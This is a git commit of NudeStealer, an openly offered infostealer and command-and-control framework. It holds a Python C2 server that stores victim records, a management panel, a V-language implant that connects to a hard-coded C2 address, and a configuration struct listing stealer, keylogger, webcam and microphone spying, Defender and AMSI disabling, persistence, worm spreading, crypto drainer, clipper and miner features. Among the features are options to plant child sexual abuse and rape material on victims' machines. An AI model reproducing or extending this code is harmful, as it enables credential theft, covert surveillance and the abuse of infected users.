Initial commit

This commit is contained in:
unknown
2026-05-14 00:42:39 +02:00
commit dae8a0a4a1
37 changed files with 1226 additions and 0 deletions

6
README.txt Normal file
View File

@@ -0,0 +1,6 @@
PS C:\Users\wm\Documents\projects\NudeStealer\payload> v version
V 0.5.0 5e0489f
PS C:\Users\wm\Documents\projects\NudeStealer\payload>
.\build_payload.ps1 debug c run

69
__main__.py Normal file
View File

@@ -0,0 +1,69 @@
import base64
import os
import asyncio
import multiprocessing
from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__
from serverside.http_s import start_server
from serverside.database_s import init_db
from serverside.util_s import stop_all, run_in_thread
from ui.ui_ux import start_ui
async def main() -> None:
if not os.path.exists(BASE_DIR / "configuration.ini"):
logger.error("Configuration file not found. Creating template configuration.ini in the base directory.")
with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f:
f.write(CONFIG_TEMPLATE.strip())
logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...")
await asyncio.sleep(10.0)
return
if not os.path.exists(DATABASE_FILE):
logger.info("Database file not found. Initializing new database...")
try:
init_db()
logger.info("Database initialized successfully.")
except Exception as e:
logger.error(f"An error occurred while initializing the database: {e}")
else:
logger.info("Database file found. Skipping initialization.")
logger.info("NudeStealer http Server is starting...")
try:
running_tasks["server"] = asyncio.create_task(start_server())
logger.info("NudeStealer http Server has started successfully.")
except Exception as e:
logger.error(f"An error occurred while starting the http server: {e}")
return
logger.info("Starting the UI...")
try:
running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui))
#start_ui()
logger.info("UI has started successfully.")
except Exception as e:
logger.error(f"An error occurred while starting the UI: {e}")
return
print(running_tasks)
#await asyncio.gather(*running_tasks.values())
while True:
await asyncio.sleep(1)
if __name__ == "__main__":
multiprocessing.freeze_support()
if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"):
try:
from serverside.helpers.config import get
#print(get("network", "port", fallback=80))
logger.info(f"NudeStealer Server v{__version__} by {__author__}")
logger.debug(get("ui", "port") == get("network", "port"))
asyncio.run(main())
except KeyboardInterrupt:
asyncio.run(stop_all())

45
configuration.ini Normal file
View File

@@ -0,0 +1,45 @@
[general]
app_name = NuDe Stealer
banner = /hbf mission / Operation
version = 1.0.0
# Only allows local connections, developer only debug features enabled
debug = True
[paths]
# you might as well change these if you want to keep things organized, but they can be left as is
log_file_name = nudestealer_log.log
database_file_name = nudestealer.sqlite3
# Folder where victim data will be stored sorted after
# their UUID, last updated state (date), IP address/country & account username
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
vic_data_folder = vic_data
[ui]
# port the ui will run on
port = 56200
[network]
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
host = 127.0.0.1
# port the http server will run on
port = 56000
# whether to encrypt data before sending it via Ascon-AEAD128
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
use_ascon = True
use_x25519 = True
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
ratelimit = True
# 0 for unlimited
max_concurrent_connections = 0
[administration]
# admin account username and password, change these before running the server for the first time
systemadmin_username = 0xschoolshooter
systemadmin_password = password
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
# https://git.fingeri.ng/dff/NuDe-C2
self_host = True
[online_hosted]
api_uri = 95.228.40.87

8
payload/.editorconfig Normal file
View File

@@ -0,0 +1,8 @@
[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
[*.v]
indent_style = tab

8
payload/.gitattributes vendored Normal file
View File

@@ -0,0 +1,8 @@
* text=auto eol=lf
*.bat eol=crlf
*.v linguist-language=V
*.vv linguist-language=V
*.vsh linguist-language=V
v.mod linguist-language=V
.vdocignore linguist-language=ignore

27
payload/.gitignore vendored Normal file
View File

@@ -0,0 +1,27 @@
# Binaries for programs and plugins
main
NudeStealer
*.exe
*.exe~
*.so
*.dylib
*.dll
# Ignore binary output folders
bin/
# Ignore common editor/system specific metadata
.DS_Store
.idea/
.vscode/
*.iml
# ENV
.env
# vweb and database
*.db
*.js
# Ignore installed modules through `v install --local`:
modules/

36
payload/build_payload.ps1 Normal file
View File

@@ -0,0 +1,36 @@
param(
[ValidateSet("debug", "release", "size")]
[string]$mode = "size",
[ValidateSet("native", "c", "js_node", "go")]
[string]$target = "c",
[ValidateSet("build", "run")]
[string]$action = "build"
)
if (-not (Test-Path "build")) {
New-Item -ItemType Directory -Path "build" | Out-Null
}
if ($mode -eq "debug") {
v -g -cg -b $target -enable-globals -o build/nude_bug .
}
elseif ($mode -eq "release") {
v -prod -cflags "-O3" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_release .
}
elseif ($mode -eq "size") {
v -prod -cflags "-Os -s" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_optimized .
}
$exe = switch ($mode) {
"debug" { "nude_bug.exe" }
"release" { "nude_release.exe" }
"size" { "nude_optimized.exe" }
}
$v_output = Join-Path -Path "build" -ChildPath $exe
if ($action -eq "run") {
& $v_output
}

8
payload/configuration.v Normal file
View File

@@ -0,0 +1,8 @@
module main
import structs
pub const configuration = structs.ConfStruct{
websocket : 'Müller',
fake_error_msg : true,
}

11
payload/core/connect.v Normal file
View File

@@ -0,0 +1,11 @@
module core
import net.websocket
fn connect_ws(url string) ?&websocket.Client {
mut ws := websocket.new_client(url) ?
ws.connect() ?
return &ws
}

11
payload/core/constants.v Normal file
View File

@@ -0,0 +1,11 @@
module core
__global (
logs Logger
)
pub fn initialize() {
logs = Logger{}
logs.debug('core:constants:initialize', 'test')
}

46
payload/core/logger.v Normal file
View File

@@ -0,0 +1,46 @@
module core
import time
enum LogLevel {
info
debug
error
}
pub struct Logger {
mut:
logs string
}
fn log_level_str(level LogLevel) string {
return match level {
.info { 'INFO' }
.debug { 'DEBUG' }
.error { 'ERROR' }
}
}
pub fn (mut l Logger) log(mod string, level LogLevel, msg string) {
timestamp := time.now().format_ss_milli()
full_msg := '[$timestamp] [${log_level_str(level)}] [$mod] $msg'
println(full_msg)
l.logs += full_msg + '\n'
}
pub fn (mut l Logger) info(mod string, msg string) {
l.log(mod, .info, msg)
}
pub fn (mut l Logger) debug(mod string, msg string) {
l.log(mod, .debug, msg)
}
pub fn (mut l Logger) error(mod string, msg string) {
l.log(mod, .error, msg)
}
pub fn (l Logger) get_logs() string {
return l.logs
}

View File

@@ -0,0 +1,117 @@
module cryptography
import x.crypto.ascon
import crypto.rand
import crypto.hmac
import x.crypto.curve25519
import crypto.sha256
import encoding.base64
import structs
fn ascon_key_generator() string {
key := rand.bytes(ascon.key_size) or {
logs.error('cryptography:cryptography:ascon_key_generator', 'ascon key generation failed due to: \'$err\'')
return ''
}
return key.hex()
}
fn ascon_encrypt(key_hex string, plaintext string) string {
key := []u8(key_hex.hex())
nonce := rand.bytes(ascon.nonce_size) or {
logs.error('cryptography:cryptography:ascon_encrypt', 'nonce generation failed due to: \'$err\'')
return ''
}
ad := []u8{}
ciphertext := ascon.encrypt(key, nonce, ad, plaintext.bytes()) or {
logs.error('cryptography:cryptography:ascon_encrypt', 'encrypt failed: \'$err\'')
return ''
}
mut combined := []u8{len: nonce.len + ciphertext.len}
combined << nonce
combined << ciphertext
data_b64 := base64.encode(combined)
return data_b64
}
fn ascon_decrypt(key_hex string, data_b64 string) string {
key := []u8(key_hex.hex())
combined := base64.decode(data_b64)
if combined.len < ascon.nonce_size {
logs.error('cryptography:cryptography:ascon_decrypt', 'data blob is too short')
return ''
}
nonce := combined[..ascon.nonce_size]
ciphertext := combined[ascon.nonce_size..]
plaintext_bytes := ascon.decrypt(key, nonce, []u8{}, ciphertext) or {
logs.error('cryptography:cryptography:ascon_decrypt', 'decrypt failed: \'$err\'')
return ''
}
return plaintext_bytes.bytestr()
}
fn generate_keypair() !structs.KeyPair {
mut secret_key_bytes := curve25519.PrivateKey.new() or {
logs.error('cryptography:cryptography:generate_keypair', 'x25519 secret key generation failed due to: \'$err\'')
return error('x25519 secret key generation failed due to: \'$err\'')
}
public_key_bytes := secret_key_bytes.public_key() or {
logs.error('cryptography:cryptography:generate_keypair', 'x25519 public key computation/generation failed due to: \'$err\'')
return error('x25519 public key computation/generation failed due to: \'$err\'')
}
logs.info('cryptography:cryptography:generate_keypair', 'Generated x25519 keypair')
return structs.KeyPair{
secret: secret_key_bytes
public: public_key_bytes
}
}
fn compute_shared_secret(mut secret_key curve25519.PrivateKey, public_key curve25519.PublicKey) ![]u8 {
shared_secret_raw := curve25519.derive_shared_secret(mut secret_key, public_key) or {
logs.error('cryptography:cryptography:compute_shared_secret', 'x25519 raw shared_secret computation/derivation failed due to: \'$err\'')
return []u8{}
}
logs.info('cryptography:cryptography:compute_shared_secret', 'Computed x25519 raw shared_secret')
return shared_secret_raw
}
fn hkdf_sha256(ikm []u8, salt []u8, length int) []u8 {
prk := hmac.new(salt, ikm, sha256.sum, sha256.block_size)
info := []u8{}
mut okm := []u8{}
mut previous_block := []u8{}
mut counter := u8(1)
for okm.len < length {
mut block_input := previous_block.clone()
block_input << info
block_input << counter
block := hmac.new(prk, block_input, sha256.sum, sha256.block_size)
okm << block
previous_block = block.clone()
counter++
}
logs.info('cryptography:cryptography:hkdf_sha256', 'Derived HMAC-x25519 shared_secret')
return okm[..length]
}
fn salt_randomizer() []u8 {
logs.info('cryptography:cryptography:salt_randomizer', 'Generated CSPRNG randomized salt')
return rand.bytes(32) or {
logs.error('cryptography:cryptography:salt_randomizer', 'CSPRNG randomized salt generation failed due to: \'$err\'')
return []u8{}
}
}

View File

View File

27
payload/main.v Normal file
View File

@@ -0,0 +1,27 @@
module main
import core
import cryptography
fn main() {
core.initialize()
logs.info('main:main:main', 'Called initiliazer func!')
go fn(ch chan WsResult) {
conn := core.establish_ws_conn() or {
ch <- WsResult{err: 'Could not establish WS: $err'}
return
}
ch <- WsResult{conn: conn}
}(ch)
logs.info('main:main:main', 'Connecting to \'$configuration.websocket\'.')
res := <-ch
if res.err != none {
logs.error('main:main:main', res.err or { 'Unknown error' })
} else {
logs.info('main:main:main', 'Successfully connected to WS on \'$configuration.websocket\'.')
}
}

View File

@@ -0,0 +1,213 @@
module structs
pub struct ConfStruct {
pub mut:
websocket string
//use_ascon bool
//use_x_asymmetric_key_exchange bool
allow_remote_control bool // allow c2 live access other than this
reconnect_rate string // 'retries per minute/wait period after'
start_delay int // in seconds
auto_update bool
update_delay int // in minutes
updater_keep_old_version bool
live_json_config_priority bool // whether to prefer an encrypted json object (randomly dropped on device to store updated configs)
// over this hardcoded configuration, this cannot be changed
// and is recommended to be set to true except for highly sensitive systems
melt_stub bool
fake_error_msg bool
fake_error_text_msg string
anti_kill bool
anti_kill_bsod bool
anti_vm bool
anti_debug bool
anti_analysis bool
persistence bool
persistence_type persistence_type_helper
webcam_snapshot bool
webcam_snapshot_repeat bool
webcam_snap_repeat_delay int
microphone_record bool
microphone_record_time int // in seconds
microphone_recording_repeat bool
microphone_recording_repeat_delay int // in minutes, how many minutes to wait until the next recording of x microphone_record_time's length
disable_cam_indicator_light bool
screenshot bool
keylogger bool
app_injection bool
network_spreading bool
usb_spreading bool
system_worm bool
detect_location bool // tries to gain precise geolocation access
detect_age_group bool
detect_languages_spoken bool
detect_gender bool // based on files, system name, location, recent typing activity ect. using BERT ai transformer
hook_system_password bool
dropper []DropperConfStruct
exploitation ExploitationConfStruct
exfiltration StealerConfStruct
drainer []WalletConfStruct
clipper []WalletConfStruct
miner []WalletConfStruct
plugins SelectiveConfStruct
misc FunConfStruct
}
pub struct StealerConfStruct {
pub mut:
network_data bool
system_data bool
messenger_data bool
mail_data bool
game_data bool
application_data bool
workplace_data bool
wallet_data bool
browser_data bool
wallet_drainer bool
crypto_clipper bool
crypto_miner bool
}
pub struct ExploitationConfStruct {
uac_bypass bool
disable_reagentc bool
destroy_defender bool
disable_defender bool
disable_etw bool
amsi_bypass bool
}
pub struct WalletConfStruct { // for Drainer, Clipper & Miner Config
pub mut:
coin crypto_coin_helper
wallet_address string
miner_usage &int // optional, only used by miner, beneath the same
miner_mode &crypto_miner_mode
}
pub struct SelectiveConfStruct {
blacklist_countries []string
defender_exclusion_stub bool
defender_exclusion_other bool
defender_excluded_files []string
defender_excluded_folders []string
steal_common_files bool
delete_common_files bool
steal_important_files bool
delete_important_files bool
important_file_types []string
common_file_types []string
}
pub struct DropperConfStruct {
pub mut:
file_type dropper_file_type_helper
file_link string
execute bool
save_on_disk bool
save_location string
startup bool
}
pub struct FunConfStruct {
pub mut:
drop_porn bool
drop_child_porn bool
drop_rape bool
drop_gore bool
drop_cats bool
drop_unicorns bool
lock_screen bool
gmailer bool
yahoomailer bool
mail_contents string
random_sounds bool
random_secret_file_deletion bool
random_fast_file_deletion bool
random_secret_app_deletion bool
disable_task_mngr bool
disable_explorer bool
change_cursor_icon bool
cursor_icon_uri string
swap_wallpaper bool
wallpaper_uri string
invert_screen_colors_random bool
max_system_volume_random bool
disable_keyboard bool
disable_mouse bool
microphone_echo_effect bool
porn_detection bool // detect porn on the monitor gradually, when detected take webcam snapshot and submit to c2 api
}
// helper structs
pub struct country_helper {
pub mut:
country string
}
pub struct file_type_helper {
pub mut:
file_type string
}
enum persistence_type_helper {
registry
taskschd
shell_startup
shell_common_startup
}
enum crypto_coin_helper {
ltc
btc
eth
xmr
sol
usdt
}
enum crypto_miner_mode {
cpu
gpu
}
enum dropper_file_type_helper {
exe
bat
ps1
zip
rar
js
dll
donut_pic_shellcode
shortcut
}

14
payload/structs/struct.v Normal file
View File

@@ -0,0 +1,14 @@
module structs
import x.crypto.curve25519
pub struct KeyPair {
pub:
secret &curve25519.PrivateKey
public &curve25519.PublicKey
}
pub struct op_codes {
pub:
op_code string
}

7
payload/v.mod Normal file
View File

@@ -0,0 +1,7 @@
Module {
name: 'NudeStealer'
description: 'NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.'
version: '1.0.0'
license: '0BSD'
dependencies: []
}

0
payload/ws_live/hvnc.v Normal file
View File

View File

6
requirements.txt Normal file
View File

@@ -0,0 +1,6 @@
ascon==0.0.9
nicegui==3.7.1
starlette==0.52.1
uvicorn==0.41.0
pywebview==6.1
cryptography==46.0.5

59
serverside/consts.py Normal file
View File

@@ -0,0 +1,59 @@
__projname__ = "NudeStealer Server"
__author__ = "0xschoolshooter"
__version__ = "1.0.0"
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor
from .helpers.logger import setup_logger
from serverside.helpers.config import get
logger = setup_logger()
running_tasks = {}
executor = ThreadPoolExecutor(max_workers=2)
BASE_DIR = Path(__file__).resolve().parent.parent
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")
CONFIG_TEMPLATE = """
[general]
app_name = NuDe Stealer
banner = /hbf mission / Operation
version = 1.0.0
# Only allows local connections, developer only debug features enabled
debug = false
[paths]
# you might as well change these if you want to keep things organized, but they can be left as is
log_file_name = nudestealer_log.log
database_file_name = nudestealer.sqlite3
# Folder where victim data will be stored after
# their UUID, last updated state (date), IP address/country & account username
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
vic_data_folder = vic_data
[network]
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
host = 127.0.0.1
# port the http server will run on
port = 80
# whether to encrypt data before sending it via Ascon-AEAD128
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
use_ascon = True
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
ratelimit = True
# 0 for unlimited
max_concurrent_connections = 0
[administration]
# admin account username and password, change these before running the server for the first time
systemadmin_username = admin
systemadmin_password = nudestealer
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
# https://git.fingeri.ng/dff/nude-stealer
self_host = True"""

View File

@@ -0,0 +1,72 @@
import os
import base64
import ascon
import hashlib
import secrets
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
from typing import Tuple
def ascon_key_generator() -> str:
key = os.urandom(16)
return key.hex()
def encrypt(key_hex: str, plaintext: str) -> str:
key = bytes.fromhex(key_hex)
nonce = os.urandom(16)
ad = b''
ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128")
combined = nonce + ciphertext
data_b64 = base64.b64encode(combined).decode()
return data_b64
def decrypt(key_hex: str, data_b64: str) -> str:
key = bytes.fromhex(key_hex)
combined = base64.b64decode(data_b64)
nonce = combined[:16]
ciphertext = combined[16:]
plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128")
return plaintext.decode()
def hash_password(password: str) -> str:
salt = secrets.token_hex(16)
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
return f"{salt}${hashed.hex()}"
def check_password(password: str, stored: str) -> bool:
salt, hashed = stored.split('$')
new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
return new_hash.hex() == hashed
def salt_randomizer() -> bytes:
return secrets.token_bytes(32)
def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str:
hkdf = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
info=b'',
)
key_material = hkdf.derive(shared_secret_raw)
return key_material
def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes:
secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key)
public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key)
shared_secret_raw = secret_key_bytes.exchange(public_key_bytes)
return shared_secret_raw
def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]:
secret_key_bytes = x25519.X25519PrivateKey.generate()
public_key_bytes = secret_key_bytes.public_key()
return secret_key_bytes, public_key_bytes

133
serverside/database_s.py Normal file
View File

@@ -0,0 +1,133 @@
import sqlite3
import json
from datetime import datetime
from serverside.consts import DATABASE_FILE
from serverside.helpers.config import get
from serverside.cryptography import hash_password
def init_db():
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS vic_data (
vic_uuid TEXT PRIMARY KEY,
vic_account_name TEXT NOT NULL,
vic_recent_ascon_key_hex TEXT,
vic_previous_ascon_key_list TEXT, -- stored as JSON string
last_updated TEXT,
created_at TEXT DEFAULT (datetime('now'))
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS administration (
administrator_username TEXT PRIMARY KEY,
administrator_password_hash TEXT NOT NULL,
created_at TEXT DEFAULT (datetime('now'))
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS discord_webhooks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
webhook_url TEXT NOT NULL,
created_at TEXT DEFAULT (datetime('now'))
)
''')
DATABASE_CONNECTION.commit()
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
DATABASE_CONNECTION.close()
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
if previous_keys is None:
previous_keys = []
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
VALUES (?, ?, ?, ?, ?)
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
DATABASE_CONNECTION.commit()
def get_vic(DATABASE_CONNECTION, vic_uuid):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
row = cursor.fetchone()
if row:
vic_data = dict(zip([column[0] for column in cursor.description], row))
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
return vic_data
return None
def insert_admin(DATABASE_CONNECTION, username, password_hash):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO administration (administrator_username, administrator_password_hash)
VALUES (?, ?)
''', (username, password_hash))
DATABASE_CONNECTION.commit()
def get_admin(DATABASE_CONNECTION, username):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
row = cursor.fetchone()
if row:
return dict(zip([column[0] for column in cursor.description], row))
return None
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
cursor = DATABASE_CONNECTION.cursor()
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
if vic:
previous_keys = vic['vic_previous_ascon_key_list']
recent_key = vic['vic_recent_ascon_key_hex']
if recent_key:
previous_keys.append(recent_key)
cursor.execute('''
UPDATE vic_data
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
WHERE vic_uuid = ?
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
DATABASE_CONNECTION.commit()
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
UPDATE administration
SET administrator_password_hash = ?
WHERE administrator_username = ?
''', (new_password_hash, username))
DATABASE_CONNECTION.commit()
def delete_vic(DATABASE_CONNECTION, vic_uuid):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
DATABASE_CONNECTION.commit()
def delete_admin(DATABASE_CONNECTION, username):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
DATABASE_CONNECTION.commit()
def insert_webhook(DATABASE_CONNECTION, webhook_url):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO discord_webhooks (webhook_url)
VALUES (?)
''', (webhook_url,))
DATABASE_CONNECTION.commit()
def delete_webhook(DATABASE_CONNECTION, webhook_id):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
DATABASE_CONNECTION.commit()
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM discord_webhooks')
rows = cursor.fetchall()
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
return webhooks

View File

@@ -0,0 +1,42 @@
import configparser
from pathlib import Path
#from serverside.consts import BASE_DIR
BASE_DIR = Path(__file__).resolve().parent.parent.parent
CONFIG_PATH = BASE_DIR / "configuration.ini"
_config = configparser.ConfigParser()
_config.read(CONFIG_PATH)
def get(section: str, key: str, fallback=None):
try:
return _config.get(section, key)
except (configparser.NoSectionError, configparser.NoOptionError):
return fallback
def get_int(section: str, key: str, fallback=None):
try:
return _config.getint(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def get_float(section: str, key: str, fallback=None):
try:
return _config.getfloat(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def get_bool(section: str, key: str, fallback=None):
try:
return _config.getboolean(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def sections():
return _config.sections()
def options(section: str):
try:
return _config.options(section)
except configparser.NoSectionError:
return []

View File

@@ -0,0 +1,25 @@
import logging
from pathlib import Path
from serverside.helpers.config import get
#from serverside.consts import LOG_FILE
BASE_DIR = Path(__file__).resolve().parent.parent.parent
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
def setup_logger(name: str = "nudestealer") -> logging.Logger:
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
if not logger.handlers:
file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8")
file_handler.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s'
)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
logger.propagate = False
return logger

View File

@@ -0,0 +1,33 @@
import time
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import JSONResponse
LIMIT = 60
WINDOW = 60
BLOCK_TIME = 5*60
ip_store = {}
class RateLimitMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
ip = request.client.host
now = time.time()
entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None})
if entry["blocked_until"] and now < entry["blocked_until"]:
return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429)
if now - entry["first_request"] > WINDOW:
entry["count"] = 0
entry["first_request"] = now
entry["count"] += 1
if entry["count"] > LIMIT:
entry["blocked_until"] = now + BLOCK_TIME
ip_store[ip] = entry
return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429)
ip_store[ip] = entry
response = await call_next(request)
return response

28
serverside/http_s.py Normal file
View File

@@ -0,0 +1,28 @@
from uvicorn import Config, Server
from starlette.applications import Starlette
from starlette.routing import Route
from serverside.helpers.config import get
from serverside.helpers.middleware import RateLimitMiddleware
from serverside.routes.version import version
async def start_server():
app = Starlette(debug=get("general", "debug", fallback=False),
routes=[
Route("/version", version),
Route("/api/version", version),
Route("/api/v1/version", version),
Route("/get_version", version)
]
)
app.add_middleware(RateLimitMiddleware)
config = Config(
app=app,
host=get("network", "host", fallback="127.0.0.1"),
port=int(get("network", "port", fallback=56000)),
log_level="debug" if get("general", "debug", fallback=False) else "info",
)
server = Server(config)
await server.serve()

View File

@@ -0,0 +1,5 @@
from starlette.responses import JSONResponse
from serverside.helpers.config import get
async def version(request):
return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")})

32
serverside/util_s.py Normal file
View File

@@ -0,0 +1,32 @@
import asyncio
from serverside.consts import logger, executor, running_tasks
async def run_in_thread(name, func, *args, **kwargs):
loop = asyncio.get_event_loop()
try:
await loop.run_in_executor(executor, func, *args, **kwargs)
except asyncio.CancelledError:
logger.info(f"{name} task cancelled.")
raise
except Exception as e:
logger.error(f"Error in {name}: {e}")
async def stop_task(name):
task = running_tasks.get(name)
if task:
task.cancel()
try:
await task
except asyncio.CancelledError:
logger.info(f"{name} task stopped.")
running_tasks.pop(name, None)
except Exception as e:
logger.error(f"Error stopping {name} task: {e}")
async def stop_all():
logger.info("Stopping all services...")
for _, task in running_tasks.items():
task.cancel()
await asyncio.gather(*running_tasks.values(), return_exceptions=True)
running_tasks.clear()
logger.info("All services stopped.")

View File

BIN
ui/assets/25519.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 968 KiB

BIN
ui/assets/25519.mp4 Normal file

Binary file not shown.

3
ui/dat.py Normal file
View File

@@ -0,0 +1,3 @@
ServerData = {
"api_port": "",
}

4
ui/ui_utils.py Normal file
View File

@@ -0,0 +1,4 @@
from ui.dat import ServerData
def change_data(key, value):
print(f"Changing {key} to {value}")

131
ui/ui_ux.py Normal file
View File

@@ -0,0 +1,131 @@
import threading
import nicegui as ux
from nicegui import ui
from serverside.helpers.config import get
from serverside.consts import __title__, running_tasks
from ui.ui_utils import change_data
PRIMARY = "bg-[#1E1E1E] text-white"
TITLE_SIZE = "text-[3rem] font-bold"
SUBTITLE_SIZE = "text-xl italic"
FOOTER_SIZE = "text-md italic"
def start_page():
ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center")
with ui.row().classes("w-full items-center px-6 py-3 gap-8"):
if 'server' in running_tasks:
ui.button("Stop API").props("icon=build color=pink-5").classes("w-full")
else:
ui.button("Start API").props("icon=build color=pink-3").classes("w-full")
if 'ws_server' in running_tasks:
ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full")
else:
ui.button("Start WS").props("icon=build color=pink-3").classes("w-full")
ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full")
ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full")
with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"):
ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md")
ui.label("Changelog:").classes("text-2xl font-bold text-center")
ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center")
with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"):
ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md")
ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md")
ui.label("- Server-side encryption.").classes("text-md")
ui.label("- UI/UX improvements.").classes("text-md")
ui.label("- Features Build page for creating payload samples.").classes("text-md")
def builder_page():
ui.label("Builder coming soon...").classes("text-2xl font-bold text-center")
def c2_page():
ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center")
def acc_settings_page():
ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center")
def credits_page():
ui.label("Credits").classes("text-2xl font-bold text-center")
ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center")
@ui.page("/")
def landing_page():
#ui.colors(primary="#1E1E1E")
ui.add_head_html('''
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
